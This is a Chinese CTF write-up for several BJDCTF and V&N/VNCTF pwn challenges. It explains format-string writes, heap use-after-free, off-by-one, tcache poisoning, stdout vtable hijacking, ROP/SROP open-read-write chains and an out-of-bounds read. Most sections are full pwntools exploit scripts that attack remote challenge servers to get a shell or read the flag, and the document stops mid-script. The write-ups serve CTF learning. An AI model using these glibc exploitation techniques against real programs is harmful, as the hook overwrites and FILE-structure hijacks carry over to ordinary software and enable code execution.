需要注意的是为了防止输出过长而卡顿,我们最好分多次写,这里分了两次的二字节写

构造exp如下:

from pwn import *
p = process('./r2t4')#remote('node3.buuoj.cn',25635)
e = ELF('./r2t4')
backdoor = 0x400626
payload = b'%64c%9$hn%1510c%10$hnaaa' + p64(e.got['__stack_chk_fail']+2) + p64(e.got['__stack_chk_fail'])#fmtstr_payload(6,{e.got['__stack_chk_fail']:backdoor})
payload.ljust(100,b'A')
p.sendline(payload)
p.interactive()

获得flag

image.png

利用格式化字符串构造任意地址写

这里简单说一下格式化字符串进行任意地址写的构造,主要利用 %n 这一个特殊的参数: 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量(摘自wikipedia)

格式化字符串的格式如下:

%[*parameter*][*flags*][*field width*][.*precision*][*length*]*type*

我们可以通过直接指定 field width 的值填充输出的长度,后续只需要在格式化字符串的相应位置放上相应指针参数即可

例:

  • %64c%9$hhn:在栈上第九个参数指向的位置写上 0x40(写的范围:char等同长度)
  • %64c%9$hn:在栈上第九个参数指向的位置写上 0x40(写的范围:short等同长度)

参照常规的格式化字符串即可

[BJDCTF 2nd]test - Linux基础知识

题目只给了一个ssh,尝试进行连接

image.png

尝试一下发现我们无法直接获得flag

image.png

查看一下文件权限,发现只有ctf_pwn用户组才有权限

image.png

提示告诉我们有一个可执行文件test与其源码,尝试阅读

image.png

该程序会将我们的输入作为命令执行,但是会过滤一部分字符

尝试使用如下指令查看剩余的可用命令

`$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"`

image.png

我们发现在test程序中有效用户组为ctf_pwn,故使用该程序获取一个shell即可获得flag

image.png

image.png

[BJDCTF 2nd]ydsneedgirlfriend2 - overwrite

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

看起来是一道堆题,存在分配、释放、打印堆块的功能

同时我们可以发现程序中存在后门函数

image.png

题目提示是Ubuntu18,也就是libc2.27,引入了tcache机制,但是没有tcache double free验证的版本

add函数中似乎只能分配7个堆块,空间有点紧张,而且每次分配后都会覆盖掉原来的堆块指针

image.png

好在free后未将指针置0,存在Use After Free漏洞

image.png

同时我们可以发现show()函数中调用的是girlfriend[0][1]中的数据作为函数指针来执行,而girlfriend本身就是一个指针,在初始时分配的是0x10大小的堆块

image.png

故我们只需要初始化girlfriend后free掉girlfriend再重新分配一个0x10大小的堆块即可改写该指针为后门函数地址后再show即可getshell

构造exp如下:

from pwn import *
p = process('./girlfriend') # remote('node3.buuoj.cn',27506)
backdoor = 0x400D86

def cmd(command:int):
    p.recvuntil(b'u choice :')
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Please input the length of her name:")
    p.send(str(size).encode())
    p.recvuntil(b"Please tell me her name:")
    p.send(content)

def delete(index:int):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def show(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    new(0x80, "arttnba3")
    delete(0)
    new(0x10, p64(0) + p64(backdoor))
    show(0)
    p.interactive()

if __name__ == "__main__":
    exp()

运行即可getshell

image.png

V&N2020 公开赛 - Pwn

[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget

又是一道堆题来了,不出所料,保 护 全 开

image.png

同时题目提示Ubuntu16,也就是说没有tcache

拖入IDA进行分析

image.png

这是一道有着分配、打印、释放、编辑堆块的功能的堆题,不难看出我们只能分配10个堆块,不过没有tcache的情况下,空间其实还是挺充足的

漏洞点在edit函数中,会多读入一个字节,存在off by one漏洞,利用这个漏洞我们可以修改一个堆块的物理相邻的下一个堆块的size

image.png

由于题目本身仅允许分配大小小于111的chunk,而进入unsorted bin需要malloc(0x80)的chunk,故我们还是考虑利用off by one的漏洞改大一个chunk的size送入unsorted bin后分割造成overlapping的方式获得libc的地址

image.png

因为刚好fastbin attack所用的chunk的size为0x71,故我们将这个大chunk的size改为 0x70 + 0x70 + 1 = 0xe1即可

传统思路是将__malloc_hook改为one_gadget以getshell,但是直接尝试我们会发现根本无法getshell

image.png

这是因为one_gadget并非任何时候都是通用的,都有一定的先决条件,而当前的环境刚好不满足one_gadget的环境

image.png

那么这里我们可以尝试使用realloc函数中的gadget来进行压栈等操作来满足one_gadget的要求,该段gadget执行完毕后会跳转至__realloc_hook(若不为NULL)

image.png

而__realloc_hook和__malloc_hook刚好是挨着的,我们在fastbin attack时可以一并修改

image.png

故考虑修改__malloc_hook跳转至realloc函数开头的gadget调整堆栈,修改__realloc_hook为one_gadget即可getshell

构造exp如下:

from pwn import *
p = remote('node3.buuoj.cn', 28978)
libc = ELF('./libc-2.23.so')
context.log_level = 'DEBUG'
one_gadget = 0x4526a

def cmd(command:int):
    p.recvuntil(b"choice: ")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"size?")
    p.sendline(str(size).encode())
    p.recvuntil(b"content:")
    p.send(content)

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())
    p.recvuntil(b"content:")
    p.send(content)

def show(index:int):
    cmd(3)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def free(index:int):
    cmd(4)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def exp():
    # initialize chunk
    new(0x18, "arttnba3") # idx 0
    new(0x60, "arttnba3") # idx 1
    new(0x60, "arttnba3") # idx 2
    new(0x60, "arttnba3") # idx 3, prevent the top chunk consolidation

    # off by one get the unsorted bin chunk
    edit(0, b'A' * 0x10 + p64(0) + b'\xe1') # 0x70 + 0x70 + 1
    free(1)
    new(0x60, "arttnba3") # idx 1

    # leak the libc addr
    show(2)
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    malloc_hook = main_arena - 0x10
    libc_base = main_arena - 0x3c4b20
    log.success("libc addr: " + hex(libc_base))

    # overlapping and fastbin double free
    new(0x60, "arttnba3") # idx 4, overlapping with idx 2
    free(2)
    free(1)
    free(4)

    # fake chunk overwrite __realloc_hook
    new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 1
    new(0x60, "arttnba3") # idx 2
    new(0x60, "arttnba3") # idx 4
    new(0x60, b'A' * (0x13 - 8) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10)) # idx 5, our fake chunk

    # get the shell
    cmd(1)
    p.sendline(b'1')
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可get shell

image.png

不得不说V&N出的题质量还是可以的,虽然说可能对大佬们来说只是一道简单题,但这确实让我这个大一的萌新受益匪浅XD

[V&N2020 公开赛]easyTHeap - Use After Free + tcache hijact + tcache poisoning + one_gadget

不愧是VN的题…又让笔者这个蒟蒻pwner学到了一种新的攻击手法…

惯例的checksec,保护全开,不出意外又是一道堆题看名字也知道是一道堆题

拖入IDA进行分析

程序本身有着分配、编辑、打印、释放堆块的功能,算是功能比较齐全

但是程序本身限制了只能分配7次堆块,只能释放3次堆块

漏洞点在于free功能中没有将堆块指针置NULL,存在Use After Free漏洞

虽然说在分配堆块的功能中并没有过于限制大小(0x100),但是题目所给的libc是有着tcache的2.27版本,需要通过unsorted bin泄露main_arena的地址我们至少需要释放8次堆块才能获得一个unsorted chunk,而我们仅被允许释放3次堆块

但是利用use after free我们是可以泄露堆基址的,而用以管理tcache的tcache_perthread_struct结构体本身便是由一个chunk实现的

以下代码来自glibc2.27

static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);

if (tcache_shutting_down)
 return;

arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
 {
   ar_ptr = arena_get_retry (ar_ptr, bytes);
   victim = _int_malloc (ar_ptr, bytes);
 }
...

我们不难看出tcache结构本身便是通过一个chunk来实现的

libc2.27中没有对tcache double free的检查,故在这里我们可以通过tcache double free结合use after free泄漏出堆基址后伪造一个位于tcache_perthread_struct结构体附近的fake chunk以劫持tcache_perthread_struct结构体修改tcache_perthread_struct->counts中对应index的值为7后释放chunk便可以获得unsorted bin以泄露libc基址

惯例的pwndbg动态调试,我们可以得到tcache结构体的size,也就得到了偏移

libc2.31下这个size为0x291,不要像我一样犯了调错libc的错误❌

需要注意的是在free功能中会将其保存的chunk size置0, 因而我们需要重新将这个chunk申请回来后才能继续编辑

菜鸡a3の踩坑点 * 1

解法一:劫持__malloc_hook

比较老生常谈的做法了,因为我们已经获得了对tcache结构体的控制权所以可以直接修改指针为__malloc_hook后改为one_gadget后分配任一chunk即可get shell,这种做法刚好用满7次分配

由于one_gadget对栈上值有要求,故在这里选择构造fake chunk到__realloc_hook旁,通过realloc中的gadget调整栈帧后再跳转到one_gadget

构造exp如下:

from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./vn_pwn_easyTHeap') # p = remote('node3.buuoj.cn',28658)
e = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')
one_gadget = 0x4f322

def cmd(choice:int):
    p.recvuntil(b"choice: ")
    p.sendline(str(choice).encode())

def new(size:int):
    cmd(1)
    p.recvuntil(b"size?")
    p.sendline(str(size).encode())

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())
    p.recvuntil(b"content:")
    p.send(content)

def dump(index:int):
    cmd(3)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def free(index:int):
    cmd(4)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def exp():
    # tcache double free
    new(0x100) # idx0
    new(0x100) # idx1
    free(0)
    free(0)

    # leak the heap base
    dump(0)
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x260
    log.info('heap base leak: ' + str(hex(heap_base)))

    # tcache poisoning, hijack the tcache struct
    new(0x100) # idx2
    edit(2, p64(heap_base + 0x10))
    new(0x100) # idx3
    new(0x100) # idx4, our fake chunk
    edit(4, b"\x07".rjust(0x10, b"\x07")) # all full

    # leak the libc base
    free(0)
    dump(0)
    main_arena = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 96
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.info('libc base leak: ' + str(hex(libc_base)))

    # tcache poisoning
    edit(4, b"\x10".rjust(0x10, b"\x00") + p64(0) * 21 + p64(libc_base + libc.sym['__realloc_hook']))
    new(0x100) # idx5, our fake chunk
    edit(5, p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 8))

    # get the shell
    new(0x100)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可get shell

p64(0) * 21的偏移也是我手动调出来的…当然那些熟读libc源码的大佬基本都能直接🧠算(

解法二:攻击stdout劫持vtable表

在ha1vk师傅的博客看到的解法…这个思路我个人觉得很巧妙…反正是学到了新东西…

除了劫持__malloc_hook为one_gadget之外,我们也可以通过劫持_IO_2_1_stdout_中的vtable表的方式调用one_gadget

观察到程序中在我们edit之后会调用puts()函数

puts()函数定义于libio/ioputs.c中,代码如下:

int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

观察到其会使用宏_IO_sputn,该宏定义于libio/libioP.c中,如下:

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

套娃宏,跟进:

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
...
#define _IO_JUMPS_OFFSET 0
...
#if _IO_JUMPS_OFFSET
...
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
...
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

puts函数最终会调用vtable表中的__xsputn函数指针,gdb调试我们可以知道其相对表头偏移应当为0x30(64位下)

由于自libc2.24始增加了对vtable表的合法性检测,故我们只能执行位于合法vtable表范围内的函数指针

考虑到_IO_str_finish函数会将FILE指针 + 0xE8的位置作为一个函数指针执行,故我们选择修改_IO_2_1_stdout_的vtable表至特定位置以调用_IO_str_finish函数

表_IO_str_jumps中存在着我们想要利用的_IO_str_finish函数的指针,且该表是一个合法vtable表,故只要我们将stdout的vtable表劫持到_IO_str_finish附近即可成功调用_IO_str_finish函数

由_IO_jump_t结构体的结构我们不难计算出fake vtable的位置应当为_IO_str_jumps - 0x28

劫持vtable表后在_IO_2_1_stdout_ + 0xE8的位置放上one_gadget,即可在程序调用puts函数时get shell

通过gdb调试可以帮助我们更好地构造fake _IO_2_1_stdout_结构体

需要注意的一点是有少部分符号无法直接通过sym字典获得,我们在这里采用其相对偏移以计算其真实地址,详见注释

故最后构造的exp如下:

from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./vn_pwn_easyTHeap') # p = remote('node3.buuoj.cn',26233)
e = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')
one_gadget = 0x4f322

def cmd(choice:int):
    p.recvuntil(b"choice: ")
    p.sendline(str(choice).encode())

def new(size:int):
    cmd(1)
    p.recvuntil(b"size?")
    p.sendline(str(size).encode())

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())
    p.recvuntil(b"content:")
    p.send(content)

def dump(index:int):
    cmd(3)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def free(index:int):
    cmd(4)
    p.recvuntil(b"idx?")
    p.sendline(str(index).encode())

def exp():
    # tcache double free
    new(0x100) # idx0
    new(0x100) # idx1
    free(0)
    free(0)

    # leak the heap base
    dump(0)
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x260
    log.info('heap base leak: ' + str(hex(heap_base)))

    # tcache poisoning, hijack the tcache struct
    new(0x100) # idx2
    edit(2, p64(heap_base + 0x10))
    new(0x100) # idx3
    new(0x100) # idx4, our fake chunk
    edit(4, b"\x07".rjust(0x10, b"\x07")) # all full

    # leak the libc base
    free(0)
    dump(0)
    main_arena = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 96
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.info('libc base leak: ' + str(hex(libc_base)))

    # construct the fake file structure
    fake_file = b""
    fake_file += p64(0xFBAD2886) # _flags, an magic word, we need to (0xFBAD2887 & (~0x1)) to clear the _IO_USER_BUF flag to pass the check in _IO_str_finish
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 131) * 7 # from _IO_read_ptr to _IO_buf_base
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 132) # _IO_buf_end should usually be (_IO_buf_base + 1)
    fake_file += p64(0) * 4 # from _IO_save_base to _markers
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdin_']) # the FILE chain ptr
    fake_file += p32(1) # _fileno for stdout is 1
    fake_file += p32(0) # _flags2, usually 0
    fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
    fake_file += p16(0) # _cur_column
    fake_file += b"\x00" # _vtable_offset
    fake_file += b"\n" # _shortbuf[1]
    fake_file += p32(0) # padding
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1e20) # _IO_stdfile_1_lock
    fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
    fake_file += p64(0) # _codecvt, usually 0
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe20) # _IO_wide_data_1
    fake_file += p64(0) * 3 # from _freeres_list to __pad5
    fake_file += p32(0xFFFFFFFF) # _mode, -1
    fake_file += b"\x00" * 19 # _unused2
    fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
    fake_file += p64(libc_base + libc.sym['_IO_file_jumps'] + 0xc0 - 0x28) + p64(0) + p64(libc_base + one_gadget) # set the vtable to _IO_str_jumps - 0x28 and set the _IO_2_1_stdout_ + 0xe8 to one_gadget

    # tcache poisoning, hijack the _IO_2_1_stdout and its vtable
    edit(4, b"\x10".rjust(0x10, b"\x00") + p64(0) * 21 + p64(libc_base + libc.sym['_IO_2_1_stdout_']))
    new(0x100) # idx5, our fake chunk
    edit(5, fake_file)

    # get the shell
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可get shell

_IO_FILE_plus结构体中 vtable 相对偏移

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

ctf-wiki: FILE structure

vtable 合法性检测(start from glibc2.24)

自从glibc2.24版本起便增加了对于vtable的检测,代码如下:

/* Perform vtable pointer validation.  If validation fails, terminate
the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section.  */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section.  Use the
 slow path, which will terminate the process if necessary.  */
_IO_vtable_check ();
return vtable;
}

gdb调试可知这个section_length的长度为3432(0xd68):

由此,我们所构造的fake vtable的位置受到了一定的限制,即只能在__start___libc_IO_vtables往后0xd68字节的范围内

vtable表劫持姿势(under glibc2.28)

在glibc2.28往前的版本中_IO_str_finish函数会将_IO_2_1_stdout_ + 0xE8的位置作为一个函数指针执行,故我们通常考虑在这个位置放上我们想要执行的指令地址(如one_gadget)并将vtable表劫持到适合的位置以执行_IO_str_finish()函数

通常情况下,我们考虑劫持_IO_2_1_stdout_并修改其vtable表至表_IO_str_jumps附近,该vtable表定义于libio/sstrops.c中,如下:

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

不难看出,在该表中有我们所需的_IO_str_finish函数,且该表本身便是vtable表列表中的一个表,能很好地通过vtable表合法性检测,因此我们劫持stdout时便尝将fake vtable劫持到该表附近

需要注意的一点是我们需要修改_IO_2_1_stdout的flag的最后一位为0以通过_IO_str_finish函数中的检测

/*
 * libio/strops.c
*/
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}
/*
 * libio.h
*/
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */

64位下其会将fp + 0d8 + 0x10的位置作为函数指针进行调用

需要注意的是这种利用方式仅适用于glibc2.28以下的版本,自glibc2.28始该段代码被修改,无法再通过同种方式进行利用

自glibc2.28始,该函数不会调用额外的函数指针,而是会直接使用free(),代码如下:

void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
 free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

类似地,对于_IO_str_overflow的利用自glibc2.28始同样失效,源码比较长就不在这里贴出了

参考:ctf-wiki: exploit in libc2.24

[V&N2020 公开赛]warmup - orw

惯例的checksec,发现除了canary都开了

拖入IDA进行分析

在一开始给了puts的地址,可以获得libc基址

第一个函数调用了prctl,疑似限制系统调用,使用seccomp-tools发现确实限制了系统调用, 无法get shell,考虑进行orw

sub_9D3()函数中可以进行大量输入,不过无法溢出

sub_9A1()函数中可以溢出0x10个字节,刚好可以配合csu中gadget与上一层函数调用栈联通

由于开启了PIE,没法直接获取到bss段的地址,而又有libc基址,故考虑使用__free_hook作为读写区域

故构造exp如下:

from pwn import *
context.arch = 'amd64'
p = process('./vn_pwn_warmup') # p = remote('node3.buuoj.cn', 28779)
e = ELF('./vn_pwn_warmup')
libc = ELF('./libc-2.23.so')
offset = 0x70

p.recvuntil(b"Here is my gift: ")
addr = p.recvuntil(b'\n', drop = True)
log.info(addr)
puts_addr = int(addr, 16)
libc_base = puts_addr - libc.sym['puts']
log.info(str(hex(libc_base)))

ret = libc_base + libc.search(asm('ret')).__next__()
pop_rdi_ret = libc_base + libc.search(asm('pop rdi\nret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi\nret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx\nret')).__next__()
flag_addr = libc_base + libc.sym['__free_hook']

payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(10) + p64(libc_base + libc.sym['read']) # read str 'flag' from input
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])# open file 'flag'
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(libc_base + libc.sym['read'])# read flag from file ptr 3(opened by open())
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(libc_base + libc.sym['puts'])

payload2 = b'A' * offset  + p64(0xdeadbeef) + p64(ret)

p.send(payload)
p.send(payload2)
p.send('./flag')
p.interactive()

运行即可获得flag

[V&N2020 公开赛]babybabypwn - SROP + orw

惯例的 checksec ,保护全开

image.png

拖入IDA进行分析

设置了 seccomp 没法拿shell,考虑走 orw 拿flag

image.png

给出了 libc 基址,白给一个 rt_sigreturn的系统调用,直接 栈迁移 + orw 一套带走

image.png

构造 exp 如下:

from pwn import *
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 29143)#process('./vn_pwn_babybabypwn_1')#
libc = ELF('./libc-2.23.so')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')#

p.recvuntil(b'Here is my gift: ')
puts_addr = int(p.recvuntil(b'\n', drop = True), 16)
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))

pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret')).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()
flag_addr = libc_base + libc.sym['__free_hook']

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = libc_base + libc.sym['__free_hook']
frame.rdx = 0x100
frame.rip = libc_base + libc.sym['read']
frame.rsp = libc_base + libc.sym['__free_hook'] + 8

payload = b'./flag\x00\x00'
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['write'])

#gdb.attach(p)
p.sendline(bytes(frame)[8:])
sleep(1)
p.sendline(payload)
p.interactive()

运行即可获得flag

image.png

VNCTF2021 - Pwn

太棒了,我逐渐理解一切.jpg

[VNCTF 2021]White_Give_Flag - read out of bounds

惯例的 checksec ,保护全开

image.png

分析主函数逻辑可以发现仅提供了分配、释放、编辑堆块的功能,以及一个无用的打印随机数的功能,并不存在明显漏洞

image.png

在开头的初始化过程中会随机malloc数次并读入flag内容,其中最后一次并没有清空堆块,flag内容存在于 [0x300, 0x500] 大小的某个堆块中

image.png

在主函数中读入选项时有个 bug :返回值并非读入的数据通过atoi转成的数值,而是read() 的返回值,即读入的长度

image.png

而读入选项后会打印 qword_202120数组中的字符串,我们不难想到的是:若是我们直接发送 EOF ,则 read() 会返回 0,我们即可向前越界读,这里可以使用 pwntools 库中的 shutdown_raw() 函数完成

image.png

前面刚好是储存堆块的数组,刚好可以读到第四个堆块

image.png

那么我们只需要不断尝试分配到一个存在 flag 的堆块后打印即可

构造exp如下:

from pwn import *
global p
#context.log_level = 'debug'

def cmd(command:int):
    p.recvuntil(b"choice:")
    p.sendline(command * b'a')

def new(size:int):
    cmd(0)
    p.recvuntil(b"size:")
    p.sendline(str(size).encode())

def free(index:int):
    cmd(2)
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())

def edit(index:int, content):
    cmd(3)
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit):
    for i in range(3):
        new(0x10)
    new(0x300 + hit * 0x10)
    edit(3, 'arttnba3arttnba4')
    p.recvuntil('choice:')
    p.shutdown_raw('send')
    s = p.recv()
    log.info(s)
    if b'{' in s or b'}' in s:
        exit()

if __name__ == '__main__':
    i = 0
    count = 0
    while True:
        try:
            print('try time: ' + str(count))
            print('try: ' + str(i) + ' now')
            p = remote("node4.buuoj.cn",39123)#process('./whitegive')
            exp(i)
            p.close()
            i += 1
            i %= 0x20
            count += 1
        except Exception as e:
            log.failure('exception!')
            p.close()
            i += 1
            i %= 0x20
            count += 1

运行即可获得flag

(都要给非酋爆傻了)

image.png

[VNCTF 2021]ff - tcache poisoning + IO_FILE hijack

惯例的 checksec ,保护全开

image.png

拖入IDA进行分析

大致是有着分配、释放、打印、编辑堆块功能的程序,但是限制了只能编辑两次、打印一次,同时一次只能操作一个堆块

image.png

释放功能中没有清空,存在 UAF

image.png

但是libc 的版本为 2.32 ,那么我们需要用掉唯一的一次打印的机会泄露堆基址才能通过 double free 进行任意地址写

而我们还需要想办法泄露 libc 基址,但是我们只能分配 0x80 的堆块,即使劫持了 tcache管理器 后所释放的堆块也只能够进入fastbin中(而且我们一次只能操作一个堆块

image.png

考虑到 tcache管理器 本身便是一个 0x291的堆块,我们可以劫持之后改对应计数为7后free掉,送入 unsorted bin 中,之后切割这个大chunk,利用残留指针 大概1/16 的几率可以爆破到 stdout 附近,劫持 stdout 以泄露 libc 基址,最后改 __free_hook 为 system 函数后释放一个内容为 /bin/sh 的 chunk 即可 get shell

非酋的话可能要爆破很久…

故构造exp如下:


from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(command:int):
    p.recvuntil(b">>")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def free():
    cmd(2)

def show():
    cmd(3)

def edit(content):
    cmd(5)
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit_byte):
    new(0x80, b'arttnba3')
    free()
    show()

    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    heap_base = heap_leak * 0x1000
    log.success('heap base: ' + hex(heap_base))

    edit(b'arttnba3arttnba4')
    free()
    edit(p64(heap_leak ^ (heap_base + 0x10)))
    new(0x80, b'arttnba3')
    new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
    free()

    new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
    new(0x30, b'\x00'.ljust(0x30, b'\x00'))
    new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
    new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4744
    new(0x10, p64(libc_base + libc.sym['__free_hook']))
    new(0x70, p64(libc_base + libc.sym['system']))
    new(0x10, b'/bin/sh\x00')
    free()
    p.interactive()

if __name__ == '__main__':
    count = 1
    i = 0
    while True:
        try:
            print('the no.' + str(count) + ' try')
            print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
            p = remote('node3.buuoj.cn', 26018)#process('./ff') #
            exp(i)
        except Exception as e:
            print(e)
            p.close()
            i = i + 1
            count = count + 1
            i = i % 16
            continue

运行即可get shell

image.png

glibc2.32下tcache新增的保护

一开始题目给出的libc版本为2.32,笔者原以为和libc2.31应当没有太大区别,故最初想的解法便是 1/16 的几率爆破到tcache struct,exp如下:


from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')

